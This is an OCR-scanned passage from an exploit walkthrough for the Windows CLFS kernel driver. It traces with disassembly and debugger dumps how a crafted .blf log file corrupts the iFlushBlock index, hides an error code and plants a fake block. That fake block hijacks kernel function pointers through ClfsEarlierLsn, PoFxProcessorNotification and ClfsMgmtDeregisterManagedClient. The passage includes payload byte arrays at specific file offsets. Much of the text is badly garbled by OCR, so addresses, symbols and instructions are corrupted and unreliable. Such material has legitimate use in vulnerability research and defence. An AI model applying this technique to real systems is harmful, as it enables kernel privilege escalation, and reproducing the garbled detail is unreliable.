FFFFFBO57AB2FICO D8 89 44 24 40 85 (0 OF 88 EO 01 60 00 (6 44 24 ::om
0002D150 FEFFF2057AB2F1S0: CClfsBaseFilePersisted: :CheckSecureAccess+40 lp11 pag

)8G>db ffffcb82 0511dbse

Fcb82'@511db4e 15 00 01 00 02 00 01 00-00 02 00 00 20 20 ee oo
Fcb82°@511dbS0 ©2 00 00 00 00 00 00 20-00 00 00 oo ff ff ff ff
Fcb82’@511db6e 00 00 00 e ff ff ff ff-70 ee oo 00 00 oo ee
fcb82°@511db7¢ ©0 20 00 00 00 90 00 ©0-00 00 00 00 00 00 00 00
Fcb82'0511db30 00 20 00 00 00 00 20 20-00 00 00 00 00 20 00 00
fcb82" @511dbe 00%0000000000000000000000000000
Frh27°a8114had Q4 OO 04 OO OO 04 OO OA.F2 O OA 0O 04 04 A4

Since I'm running before it replaces block 0 W|th 1, the iFlushBlock value of the blf spray file is still 4 the
correct value.

serilepersisted
CC1fsBaserilepersisted

Lock
WriteMetadataBlock 1 unwind { // _ C specific handler 8

mov  [rsprarg i0], rsi
((]f;hurild’er;lsteﬂ::erteﬂeinila!ln(iul mov  [rsptarg 8], rex
rdi

sisted: i push

e : 10 push  ri2
|cC1fsBaseFilePersisted: :WriteMetadataBlock+12  push ri3
c : push  ria
C sisted: : push  ris
< : 18 sub  rsp, 6eh
|cC1fsBaseFilePersisted: :iriteMetadataBlock+1C movzx riSd, réb
3 : mov  esi, edx
|cC1¥sBaseFilePersisted: uriteMetadataBlocks22 mov  rdi, rox
(!lfsﬂqs!?ilt’ersistzd::Hr'lt!ﬂ!l-dila!ln(k‘Zi wor ebx, ebx
: nov 1o rox

|cc 1 mov  [raps 48], rbx
Cﬂlfsl-sdilzkrslstuh:Hr‘iknﬂ!l-ﬂitﬂ!la{k‘il xor ri2b, ri2b

ilepersisted: : mov - s8], rizb
|cc 5 mov d, 1 3 Wait
< ilepersisted: Wri mov  rex, [rex+2eh] ; Resource
< : s mov  rl®, cs:_imp_ExAcquireResourceExclusivelite
|cC1fsBaseFilePersisted: :iriteMetadataBlock+46  call nt_ExAcquireResourceExclusivelite
c : v ced], al

'

W= }

CClfsBaseFilePersisted: swriteMetadataglocks52 loc_FFFFFBOS16040FC2:
CC1fsBaseFilePersisted: (hriteMetadatadlock+52 nal

CC1fsaseFi 5
CClfsBaseFilePersisted: tiriteMetadataBlocksSD add  rex, rsi
lea B, dsi8[rcx"8
mov  rox, [rdisstruct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
mov 14, [rBirex]

wov rsp+8ahtpointer’

5i%2]

CClfsBasefilePersisted
CC1f5BaseFilePersiste
cC1fsBaseFilePersisted:

lCC1fsBaserilepersisted: sritenetadataglock+7e

: shiritedetadatadlock+78 short loc_FFFFEB8516DADFFA

Now it’s working with block 4, and it will write block 4 in file, here is not the problem yet.

Then it comes to CClfsBaseFilePersisted::FlushControlRecord
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(LLITsbaser1lerers1sted: : EXTENdMETadatab LocK+aul
CClfsBaseFilePersisted::ExtendMetadataBlock+410
CClfsBaseFilePersisted::ExtendMetadataBlock+413

movZx

CClfsBaseFilePersisted: :ExtendMetadataBlock+41F movzx
CClfsBaseFilePersisted::ExtendMetadataBlock+422 cmp
CClfsBaseFilePersisted: :ExtendMetadataBlock+427 jnz

eax, ryw

rad, réd ; unsigned _ int8
rcx, rdi ; this
ClfsBaseFilePersist

eax, word ptr [rbx]
ax, [ri3+@]
short loc_FFFFF8@516D6F8ES

1

v v
M
taBlock+43@ CClfsBaseFilePersisted: :ExtendMetadataBlock+429 and dword pt
taBlock+43@ loc_FFFFF8@516D6F3ES: CClfsBaseFilePersisted::ExtendMetadataBlock+42E jmp short lo
taBlock+43@ dec ax
taBlock+433 mov [rbx], ax
taBlock+436 mov rdx, [rsp+@B8h+var_78] ; struct _CLFS_CONTROL_RECORD *
taBlock+43B mov rex, rdi ; this
taBlock+43E call CClfsBaseFilePersisted: :ProcessCurrentBlockForExtend
taBlock+443 mov ebx, eax
taBlock+445 mov [rsp+@B8h+var_84], eax
taBlock+449 test eax, eax
taBlock+448 js short loc_FFFFF8@8516D6F91C
I Y §

lull s

CClfsBaseFilePersisted: :ExtendMetadataBlock+44D

CClfsBaseFilePersisted::ExtendMetadataBlock+44D loc FFFFF88516D6F905: ; this

CClfsBaseFilePersisted: :ExtendMetadataBlock+44D

:ExtendMetadataBlock+457
:ExtendMetadataBlock+458 test
:ExtendMetadataBlock+45D0 js

CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:

eax, eax

short loc_FFFFF80516D6F31C

|

Inside it reaches WriteMetadataBlock, but with argument 0, to write block 0 to file.

CClfsBaseFilePersisted::FlushControlRecord+64
CClfsBaseFilePersisted: :FlushControlRecord+64
CClfsBaseFilePersisted: :FlushControlRecord+67
CClfsBaseFilePersisted: :FlushControlRecord+6A
CClfsBaseFilePersisted: :FlushControlRecord+6E
CClfsBaseFilePersisted: :FlushControlRecord+73
CClfsBaseFilePersisted: :FlushControlRecord+77

loc_FFFFF80516D61264:

movzx  eax, dx

inc dx

lea rcx, [rax+rax*2]

mov [rbx+rcx*8+56h], rsi

cmp dx, [rdi+28h]

jb short loc_FFFFF80516D61264

X

FEIE

CClfsBaseFilePersisted: :FlushControlRecord+79 CClfsBaseFils

CClfsBaseFilePersisted: :FlushControlRecord+79 loc_FFFFF8@516D61279: ; unsigned _ int8 CClfsBaseFil

CClfsBaseFilePersisted: :FlushControlRecord+79 = == CClfsBaseFil

CClfsBaseFilePersisted: :FlushControlRecord+7C Er‘ edx, edx ; unsigned int I CClfsBaseFils

CClfsBaseFilePersisted: :FlushControlRecord+7E v TCR, 105 T Lhis CClfsBaseFil
FlushControlRecol CClfsBaseFili

CClfsBaseFilePersisted: :FlushControlRecord+86 xor edx, edx

CClfsBaseFilePersisted: :FlushControlRecord+88 mov rcx, rdi

CClfsBaseFilePersisted: :FlushControlRecord+88 mov ebx, eax

CClfsBaseFilePersisted: :FlushControlRecord+8D call CClfsBaseFile: :ReleaseMetadataBlock

CClfsBaseFilePersisted: :FlushControlRecord+92 mov eax, ebx

Then the ClfsEncodeBlock returns error 0OXCO1A000A, although it will write the file with the bad block 0
in CClfsContainer::WriteSector, just below.
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Srucures

[£]

F i =
CC1fsBaseFilePersisted: :WriteMetadataBlock+CE inc

byte ptr [r14+2]]

=B x“mdreusm

I RAX 00000000C01A00A j

RCX FFFFBEB0610D58C0 '+
RDX 2000000000000400 '+
RS1 0000000000000400 »
1 RDI FFFFDS875825F000
REP FFFFEDOA64827130
CClfsBaseFilePersisted: :WriteMetadataBlock+D2 RSP FFFFBDOAG4826900 '+
CClfsBaseFilePersisted: :Wri lock+D2 loc_| 80516D4£042: RIP FFFFF80516D4EAC2 W CClfs
CC1fsBaseFilePersisted: :WriteMetadataBlocksD2 mov  esi, ebx R 0009000000000002 '
CClfsBaseFilePersisted: :WriteMetadataBlock+D4  mov [rsp+88h+var_50], ebx 29 0060000900000016 %
L R1@ FFFFBES0610058C0
[RX R11 FFFFBDOAG48268A8
CC1fsBaseFilePersisted: :WriteMetadataBlock+D8 5 Modies
(CC1fsBaseFilePersisted: :Wri: lock+D8 loc 805 Path

CC1fsBaseFilePersisted
CC1fsBaseFilePersisted:

sWriteMetadataBlock+DE  jnb

Block+D8 cmp  esi, 400h

short loc_FFFFF80516D4EGAS

W

—

i \SystemRoot\System32\win32base
3| \SystemRoot\System32\win32k.sys
(3d \SystemRoot\System32\cdd.dl

i

: tWriteMetadataBlock+135
iteMe k+135 loc_f

WriteMetadataBlock+13A shl edx, 9
WriteMetadataBlock+13D
WriteMetadataBlock+142 r9b, 16h
WriteMetadataBlock+145
WriteMetadataBlock+14A rcx, rld

WriteMetadataBlock+156
WriteMetadataBlock+150
WriteMetadataBlock+162

riteMetadataBlock+16A add rdx, ri3
::WriteMetadataBlock+16D mov

r8d, byte ptr [r1442] ; unsigned _int8

80516D4E0AS :
WriteMetadataBlock+135 movzx edx, word ptr [r14+4]

; unsigned int

mov byte ptr [rsp+88h+var_68], r12b ; unsigned _ int8

; unsigned _int3

; struct CLFS LOG BLOCK HEADE

rcx, [rdi+struct_CClfsBaseFilePersisted.pC(ClfsContainer] ; this
eax, word ptr [r14+4]
rdx, ds:e[r13*2]

r9, [rdi+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]

CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted

CClfsBaseFilePersisted: :WriteMetadataBlock+E@
WriteMetadataBlock+ES
WriteMetadataBlock+E7
WriteMetadataBlock+EA
WriteMetadataBlock+EF
: iWriteMetadataBlock+F3
: :WriteMetadataBlock+F5
iWriteMetadataBlock+F9
:WriteMetadataBlock+FB

CClfsBaseFilePersisted:
CClfsBaseFilePersisted:

y (B #
gl hal.di
lea kdnet.dl

mov (38 ntkrnimp.exe

mov 0 \SystemRoot\system32\drivers\msqu
call 5| \SystemRoot\system32\drivers\HTTH
mov | \SystemRoot\system32\DRIVERS \po
TV ] \SystemRoot\System32\drivers\mpsi
ea S e
test

jns

o | (3] Threads

Decimal  Hex  State
3) 2 2 Ready
&1 1 Ready

The variable var_54 stores the 0OxCO1A000A error value and will be checked before exiting the function.

e et aat % EE o T i e £ f—

|CC1fsBaseFi1ePersisted: :WriteMetadataBlock+DE  jnb

|

e =

CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:

CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:

:WriteMetadataBlock+135

:WriteMetadataBlock+135 loc_FFFFF8@516DAEGAS:

:WriteMetadataBlock+135 movzx
:WriteMetadataBlock+13A shl
:WriteMetadataBlock+13D mov
:WriteMetadataBlock+142 mov
iWriteMetadataBlock+145 movzx
:WriteMetadataBlock+14A mov

:WriteMetadataBlock+1!
:WriteMetadataBlock+198
:WriteMetadataBlock+15D0 movzx
:WriteMetadataBlock+162 lea
:WriteMetadataBlock+16A add
:WriteMetadataBlock+16D mov
:WriteMetadataBlock+171 lea
:WriteMetadataBlock+176 mov
:WriteMetadataBlock+17B mov
:WriteMetadataBlock+17F mov
:WriteMetadataBlock+183 xor
:WriteMetadataBlock+186 mov
:WriteMetadataBlock+18D call
:WriteMetadataBlock+19%

P mov [rsp+88h+var_54], eax

edx, word ptr [rl4+4]
edx, 9 5 unsigned int

byte ptr [rsp+88h+var_68], ri12b ; unsigned __ int8

rob, 16h 5 unsigned _ int8

r8d, byte ptr [r14+2] ; unsigned _ int8
; struct CLFS LOG BLOCK HEADER *

rcx, rid

=== =33
eax, word ptr [rla+4
rdx, ds:e[rl13*2]
rdx, rl3

r9, [rdi+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]

r8, [rsp+88h+var_48]

[rsp+88h+var_6@], r8 ; unsigned __int64 *
dword ptr [rsp+88h+var_68], eax ; unsigned int

r9, [r9+rdx*8] ; void *
raéd, raéd

CClfsContainer: :WriteSector

P

;)
:Hriteﬂetadataﬁlochmi mov [rsp+88h+var_54], eax I
:WriteMetadataBlock+19

:WriteMetadataBlock+19B js

2
short loc_FFFFFB8@516D4E122

FilePersisted.pCClfsContainer] ; this

; struct _CLFS_IO WORKITEM *
rdx, [rdi+struct_CClfsBasefFilePersisted.EventObject®] ; struct _KEVENT *

11

But after calling CClfsContainer::WriteSector which returns no error, the content of var_54 is

overwritten with zero.

So, the function returns zero with no error and it continues working since CreateLogFile will return a
handle instead of an error value.
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wed  External symbol [l Lumna function
ebug View a @ Structures. 1 B
0 & x |/ Generalregisters
[ R X7 RAX BBB0B06BB0B6R00
=
CC1fsBaseFilePersisted: :WriteMetadataBlocktD8 RCX DB39156905840000 &
CC1fsBaseFilePersisted: :WriteMetadataBlock+D8  loc_FFFFFSB516D4E648: RDX B6600A000880237
CClfsBaseFilePersisted: :MriteMetadataBlocktD8 cmp  esi, 400h e
CCLfsBaseFilePersisted: :WriteMetadataBlockDE  jnb short loc_FFFFFE0516D4E0A5| ST Eeanathl
[ REP FFFFBDBAG4827138
§ -
RIP FFFFFBO516D4E105 & CC1fst
CC1fsBaseFilePersisted: CC1fsBaseFilepersisted: lea = el
loc_FFFFFBO51604E0A5: CC1fsBaseFilePersisted: mov RO BO0B000600000003 L
movzx  edx, word ptr [r14+4] CC1fsBaseFilePersisted: mov R10 000G000BFFFFFFFF &
shl  edx, 9 ; unsigned int CC1fsBaseFilePersisted: call  110080000000004308
mov  byte ptr [rsps8Shivar_66], ri2b ; unsigned _ints CC1fsBaseFilePersisted: mav r
mov  rob, 1éh 5 unsigned _ints CC1fsBaserilepersisted mov (3] Moduies
movix  r8d, byte ptr [r14+2] ; unsigned _ints CClfsBaserilerersisted. lea
CC1fsBaseFilePersisted x, ri4 j struct CLFS LOG BLOCK HEADER * CC1fsBaseFilePersisted. test Path
CC1fsBaseFilePersisted: : jns
CC1fsBaseFilePersisted [rsp+88n+var_54], eax \SystemRootiSystem 32ipin3zk.sys
CC1fsBaseFilePersisted mov rex, [rditstruct_CC1fsBaseFilePersisted.pCClfsContainer] ; this \SystemRootiSystem32\cad.di
CC1fsBaseFilePersisted movzx  eax, word ptr [r14+4] ystemRootSyStEm w51
CC1fsBaseFilePersisted lea  rdx, ds:0[r13"2) \EystemRootisystem32ynandate. G
CC1fsBaseFilePersisted add  rdx, ri3 -
CC1fsBaseFilePersisted mov  r9, [rditstruct_CC1fsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks] frsirg™
CC1fsbaseFilePersisted::WriteMetadatadlocks171 lea  r8, [rsp+Bshévar_48] nikmimp.exe
CC1fsgaserilePersisted: iWriteMetadatadlock+176 mov  [rsp+iShevar_60], r8 ; unsigned _ inted * \SystemRootieystem3z\divereinsg
CC1fsgaseFilePersisted: iuritemetadataglock+178 mov  dword ptr [rsp+dshivar_68], eax ; unsigned int \SystenRootieystem3Zdvers HITE
CC1fsBaseFilePersisted: :HriteMetadataBlock+17F mov 9, [r9+rdx*8] ; void * \SystemRootisystem 32\DRIVERS \bor
CC1fsBaseFilePersisted: :WriteMetadataBlock+183 xor rgd, r8d ; struct _CLFS_IO_WORKITEM * \SystemRoot\System32\driversypsc
CC1fsBaseFilePersisted: :iriteMetadata8locks 15400 T, PTTITPUCT CCITEB L e |ePersisted. EventObjectd) ; struct _KEVENT * Pt S .
CC1fsBaseFilePersisted iteMetadataBlock+18( call CC1fsContainer: :WriteSector
CC1fsBaseFilePersisted: :NriteMetadataBlock+19 mov  ri5d, eax
mov [ - 54], eax [ thresds
CC1fsBaseFilePersisted: :Wri -
CClfsBaseFilePersisted: :WriteMetadataBlock+198 js short loc_FFFFFBAS16D4EL22 Decimal  Hex  State
™ E% 2 2 Ready
' ’ &1 1 Ready
] =i = | =
ank I < MriteMatadataRlnckalan  fne unrd nte [rdialsahl Il [re1fenacarilaparcictads -liritatlatadataflnc ksl mon Trdvairahl  rhy b lrcrfenacariton

6-Ending the exploitation.

The value 0x13 in iFlushBlock causes it to go out of bounds and it will read the pointer that is in the
pipes that points to the Base Block +30 of trigger blf.

CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted

CClfsBaseFilePersisted:

CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted
CClfsBaseFilePersisted

CClfsBaseFilePersisted:

:WriteMetadataBlock+78

riteMetadataBlock+52
riteMetadataBlock+52
riteMetadataBlock+52

riteMetadataBlock+55

CClfsBaseFilePersisted: :WriteMetadataBlock+5D

riteMetadataBlock+6@
riteMetadataBlock+68
riteMetadataBlock+6C
riteMetadataBlock+7@

loc_FFFFF8@57AB2DFC2:
8 finall

CClfsBaseFilePersisted WriteMetadataBlock

rcx, ds:@[rsi*2]

add rex, rsi

lea r8, ds:8[rcx*s8]

mov rcx, [rdit+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
mov rl4, [r8+rcx]

88h+pointer], ri4

short loc_FFFFF8@57AB2DFFA

:clfs_CClfsBaseFilePersisted::WriteMetadataBlock+75

CClfsBaseFilePersisted: :WriteMetadataBlock+8A
CClfsBaseFilePersisted::WriteMetadataBlock+8A
(Synchronized with RIP, Pseudocode-2)

1E 8B 48 38 8B 42 28
2B C8 81 F9 38 13 00
COES (€C EC EC €0 CC
20 44 89 40 18 48 89
41 54 41 55 41 56 41
8B F1 48 83 60 B8 00
98 48 21 78 A0 21 78
20 4C 8B 15 22 S5F FF
88 84 24 FO 00 00 00
50 49 8B CE E8 E5 Co
Co oF 88 EO ©1 00 00
E8 00 00 00 44 88 64
an A ©a c£r 24 24 aa

O &f x ’ 3Bt General registers

3B C1 73 POH..... H8.B(; .. O Ot R
00 72 05 ...pr.+a-.8...r. RSE.00000000000M0 &
cC cC cc 3 RDI FFFFB00541561000
50 10 48 HD@HPH RBP FFFFFE@4D1BC5231

RSP FFFFFE@4D1BCACER
5748 81 5 H.SVWATAUAVAN. RIP FFFFF8B57AB2DFES & CClfsBaseFil
I3 EE 48 oooiboiaoi 3 H RS 0OOEO000EERE01CS b
88 PN .x.H!x.H!x.!x.Ix RO 0E00EE0EE0E00013
FF E8 AD ...H.I-L.." .... e se b
AC 8D 44 -.L.D R11 FFFFFE@4D1BCACDS
00 00 8B
C6 44 24 G ] R13 002G000000000013
24 28 AC ©.D..$....D.d3%(L R14 FEFFCBB2091E7030
oD or 2a ¢ 1 1d . n L4 ma = AAAAAAAAAAAAAAAA &
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Then it adds 0x28 to that pointer, ( 0x58 from the beginning of the base block of the trigger blf) that has
the value 0x369.

unsigned char RecordOffsetl12[] = { 0x69, 0x03 }; // offset 0x858 RecordOffset[12d]
to 0x369

ol o =]

CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:
CClfsBaseFilePersisted:

:WriteMetadataBlock+8A
:WriteMetadataBlock+8A
:WriteMetadataBlock+8A
:WriteMetadataBlock+8D

:WriteMetadataBlock+92

CClfsBaseFilePersisted::WriteMetadataBlock+9A mov r9, [rax+rl4] [r14+28h]-beeocenoecope369

CClfsBaseFilePersisted: :WriteMetadataBlock+9E and rod, 1

CClfsBaseFilePersisted::WriteMetadataBlock+A2  mov rdx, [rdit+struct_CClfsBaseFilePersisted.pCClfsBaseFile.m_rgBlocks]
CClfsBaseFilePersisted::WriteMetadataBlock+A6  jnz short loc_FFFFF8@57AB2E@2F

loc_FFFFF8057AB2DFFA:

mov rl2b, 1
mov [rsp+88h+var_58], rl2b
mov eax, [rl4+28h ; Base block + @x38+ ©x28 de trigger blf = @x369

The INC instruction will increase the value 0x14 by 1 and repeats 4 times, so 0x14 ends to 0x18.

WINDBG>db r14+369
ffffcb82'091e7397 14 00 00 00

After that, CreateLogFile is called, and reads the 0x1858 value.

| LLLTSDAsEr 1LEFErs1STea: I LNECKSECUreACCEssT

ClfsBaseFilePersisted: :CheckSec
CClfsBaseFilePersisted: :CheckSet

loc_FFFFFB8@57AB2F399 Irclw‘si‘?l;izsk[xBMléSﬂ-"QCKSQ‘
[F=r et sz e awaveus weheckSe

CClfsBaseFilePersisted::CheckSecureAccess+128 test
CClfsBaseFilePersisted::CheckSecureAccess+12A jz

edx, edx

= | (s =
CClfsBaseFilePersisted::CheckSecureAccess+11F  mov eax, esi CClfsBaseFilePersisted: :CheckSeq
C

sBaseFilePersisted::CheckSecureAccess+135 mov réd, esi ; unsigned int
sBaseFilePersisted::CheckSecureAccess+138 mov rex, rld4 5 this
sBaseFilePersisted::CheckSecureAccess+138 call  CClfsBaseFile::GetSymbol
BaseFilePersisted::CheckSecureAccess+148 mov ebx, eax
sBaseFilePersisted::CheckSecureAccess+142 mov [rsp+@B8h+var_78], eax
sBaseFilePersisted::CheckSecureAccess+146 test  eax, eax
sBaseFilePersisted::CheckSecureAccess+148 js loc_FFFFF8@57AB2F38F

L

WINDBG>db ffffcb82'091e7000+70+1858 //fake block
ffffcb82'091e88c8 08 f0 fd c1 30 00 00 00-00 00 00 00 00 0000 00. O...........

ffffcb82'091e88d8 00 00 00 00 00 00 00 00-00 00 00 05 00 00 00 00 00
ffffcb82'091e88e8 00 00 00 00 OO 00 00 00-00 00 00 00 00 00 00 00 00

GetSymbol checks if the fake block previously created in trigger blf, pointed by the offset 0x1858, has
the correct values.
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WINDBG>db ffffcb82'091e7000+70+1458 // correct block
ffffcb82'091e84c8 08 f0 fd c1 30 00 00 00-00 00 08 00 00 000000. 0...........
ffffcb82'091e84d8 00 00 00 00 00 00 00 00-80 7f 64 04 82 cb fff

if the pointer had not been incremented several times, it would have the original value 0x1458 and will
point to the right block.

After exit GetSymbol, it will use that fake block here.

=]
CClfsBaseFilePersisted::CheckSecureAccess+14E mov rax, [rsp+@B8h+var 48
CClfsBaseFilePersisted: :CheckSecureAccess+157 test rcx, rex
CClfsBaseFilePersisted: :CheckSecureAccess+15A jz loc_FFFFFB8@5Z rax+18h ] -200e000EE5020000
—e
bl il =]
1248 CClfsBaseFilePersisted: :CheckSecureAccess+168 mov rdi, rc
+24B loc_FFFFF8@57AB2F39B: CClfsBaseFilePersisted::CheckSecureAccess+163 mov rsp+@B8h+var 78], ro
+24B  mov eax, [rax+24h]
F24E test al, 29h CClfsBaseFilePersisted::CheckSecureAccess+16B  mov rax, [rax]
+258 jnz short loc_FFFFF8@57AB2F33B| |CClfsBaseFilePersisted::CheckSecureAccess+16E call cs:_ guard_dispatch_ic
l CClfsBaseFilePersisted::CheckSecureAccess+174 lea r9, [rsp+@Bsh+var_74]
CC1fzRacaFilePercicted: :CharkSerursArcec=4+170 mav rRd. [reni@BRRh4ivar 741

unsigned char data5[] = { ©Ox00, 0x00, 0x00, 0x05 }; // offset 0x1df8 to a fake
_CLFS_CONTAINER_CONTEXT.cidNode.pContainer

Then it will read the value of offset 0x18 of fake block where | place 0x05000000 and jump to content of
what is there.

WINDBG>dps 0x5000000

00000000'05000000 00000000'05001000

WINDBG>dps 00000000'05001000

00000000'05001000 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001008 fffff805'769dc3b0 nt! PoFxProcessorNotification
00000000'05001010 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001018 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001020 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001028 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001030 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001038 fffff805'7ab13220 CLFS! CifsEarlierLsn
00000000'05001040 fffff805'7ab13220 CLFS! CifsEarlierLsn

It reads the content of 0x05000000 and its 0x05001000 and there it is ClfsEarlierLsn.
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; Attributes: info_from_lumina

ClfsEarlierLsn
C1fsEarlierLsn ; CLFS_LSN _ stdcall ClfsEarlierLsn(PCLFS_LSN plsn)
public ClfsEarlierLsn

ClfsEarlierlsn proc near

s arg_6= qword ptr 8
ClfsEarlierlsn

ClfsEarlierLsn mov rax, qword ptr cs:CLFS_LSN_INVALID
ClfsEarlierLsn+7 test rcx, rcx
C1fsEarlierlLsn+A jz short locret_FFFFFBB57AB13262
a
mov rex, [rex]
cmp rcx, qword ptr cs:CLFS_LSN_NULL
jz short locret_FFFFF8857AB13262

3 1

e =

ClfsEarlierLsn+18 cmp rcx, rax
ClfsEarlierLsn+lB jz short locret FFFFF8@57AB13262
1
Y
e =
ClfsgarlierLsn+1D | or edx, @FFFFFFFFh
[ L B ]J

add ecx, edx

mov dword ptr [rspt+arg_ @], ecx
ClfsEarlierlLsn+2B  cmp ecx, edx
ClfsgEarlierLsn+2D jnz short loc_FFFFFB@57AB1325D

=

i s =

ClfsEarlierLsn+2F  mov ecx, dword ptr [rsptarg @+4]
sEarlierlLsn+33 test ecx, ecx

ClfsEarlierLsn+35 jz short locret_FFFFFB@57AB13262
L*I

ol s =

ClfsEarlierLsn+37 add ecx, edx

ClfsEarlierLsn+39 mov dword ptr [rsptarg_@+4], ecx
]

Y

FEEl

loc_FFFFF8@57AB1325D:
ClfsEarlierlsn+3D mov rax, [rsp+arg_@]

Xy

ClfsEarlierLsn+42

locret_FFFFF8857AB13262:
retn

This function is used to return the value OXFFFFFFFF in RDX although this first time that value is not used.

The second call occurs here, it calls PoFxProcessorNotification which was on 0x501000 +8
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CClfsBaseFilePersisted::
CClfsBaseFilePersisted::
CClfsBaseFilePersisted::

CheckSecureAccess+19203 mov rax, [rax+8]
CheckSecureAccess+19207 call cs:
CheckSecureAccess+1920D and gword ptr [rbp+48h], O

guard dispatch icall fptr

CClfsBaseFilePersisted::
CClfsBaseFilePersisted::
CClfsBaseFilePersisted::

CheckSecureAc
CheckSecureAc

CheckSecureAccess+19203 mov rax, [rax+8]

cess+19207 call cs:__guard dispatch icall fptr
cess+1920D and gword ptr [rbp+48h], 0

WINDBG>dps 00000000'05001000
00000000'05001000 fffff805'7ab13220 CLFS

I ClfsEarlierLsn

00000000'05001008 fffff805'769dc3b0 nt! PoFxProcessorNotification

FZE

PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification
PoFxProcessorNotification+4
PoFxProcessorNotification+8
PoFxProcessorNotification+B

PoFxProcessorNotification

=
I mov rax, [rcx+4eh] I

T
jnz loc_14@4FFeD2

; Exported entry 1783. PoF

public PoFxProcessorNotification

xProcessorNotification

proc near

I

PoFxProcessorNotification+123322

PoFxProcessorNotification+123322 ; START

FOR PoFxProcessorNotification

PoFxProcessorfotification+123329 jz

PoFxProcessorNotification+12332 Toc. 1A0AT TED2:
PoFxProcessarNatification+123325 mov rax, [rax+68h]|
PoFxProcessorNotification+12332 es rax, rax

loc_1483DC3C1

L ]

(]

ol s =

bl s =

PoFxProcessorNotification+11
PoFxProcessorNotification+11
PoFxProcessorNotification+1l

loc_14@3DC3C1:
mov eax, 9Ceeeesah

PoFxProcessorfotification+1233
PoFxProcessorNotification+1233

!= mov rex, grcx+48h] I
ca _guard_dispatch_icall

PoFxProcessorNotification+123338 neg al
PoFxProcessorNotification+12333A sbb eax, eax
PoFxProcessorNotification+12333C not eax
PoFxProcessorhiotification+12333E and eax, ©C900LeBBh

PoFxProcessorNotification+123343 jmp

loc_14@3DC3C6
PoFxProcessorNotification+123343 ; € F FUNCTI

FOR PoFxProcessorNotification

J

vy

il e =
PoFxProcessorNotification+16
PoFxProcessorNotification+16

in this function RCX = 0x05000000, it checks
WINDBG>dps rcx+40

00000000'05000040 00000000'05000000
The address to jump will be 0x68 later.

WINDBG>dps rcx+68

loc 1483DC3C6:

that 0x40 bytes later must be nonzero

00000000'05000068 fffff805'7ab2bfb0 CLFS! ClfsMgmtDeregisterManagedClient
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And the argument will be 0x48 bytes later.
WINDBG>dps rcx+48
00000000'05000048 00000000'05000400

The ClfsMgmtDeregisterManagedClient, it's a convenient function because | can control the argument
and | also have two jumps to functions controlled by me.

mEmes e
Anction I Insracton 15 Data B Unespored | Extornalsyrol B Lumess rton

g v o ® svuchres o B
0 & x| B Geersiregaters
= F_ME ~ cifan
[C1 sngeteregistertianagedCiiont  ; Exported entry 41, CLisngetDeregisternanageaciiont CltsremtEnregtsterreoapeecLimtsiCRe + STouT O FuIoN rrer
(C1s¥gmtOnregistertunagedClients1ACTE
CLfioDurepistariunsgsCHUMIACTS Climpuoersgistacransged
(CLsvgmtDecegistersanagedCIients 1ACTS ; _fina
[C1fshgetDeregistectanagedCiiont 5 WISTATUS _stdcall _HOT_CLIENT C Hente acs st rop RSI 009000000003007F
lc - public Tient (C1fs¥gmtOeregistertunagedClients T8 sub  r3p, 51 600006000 <.
( 1 proc near v rbp, putrrreEsascurs
[C1#srgeteregisterranagedc L ient CLfsvgmtOeregisterbanagedCLient IACTF mov  r10, 31 _{m KoL (acy prrrreatol
all  new pte BtKEES | ror ;
C1fsgutDeregistertunagedclients ACED nop e roenrie ‘"’"
odd  rsp, 2
o iogposesomsposseei

(C1esmgateregisterianagedcLient +1ACSD pop
dClient+14C31 retn

R10 FFFFFESSIABI8FES b LTS
411 0000000000000 -

Lfshguereglstertangedcliontss  push dl 58 Moddes

(1 angutoeresiaterson b rsp, 200 &
qum:mm«xm« mov  rbx, rox Puth

lcxr: rHanogedClientsd  test  rox, rox 3 .
i engmepereptternangedcliontets 35— loc rerrraesTAsuse Optuiapyemizyivesin

L3

]
[C1¢sgutDeregisteranageaclientes
|C1¢sngutDeregistertanagedclisnts 16

“_tey { 1/ _fis

[C1¢sngueveregisternanagedclientsis
|C1¢shgntDecegistertanagedclient +10)

[C1¢sgutDeregisterhanagedclionts2s)

11y(c:

s rcrar Deskop ew foder

B

roger.exe
)
Gl STSTEZ s &
Gl TSR e

Fromrmmr i)
) Tveads
] Ry
Bemenmsimn b B -
e s
53 \Ea= = !
The first call is again to ClfsEarlierLsn that returned in RDX=0xFFFFFFFF.
Struchres g B e
o & x |3 Gewalregsies

(C1fsMgatDeregisternanagedClientss
(C1fsgntDeregistertianagedc]
c1fsmgutoeregistertanagedclientsa  mov
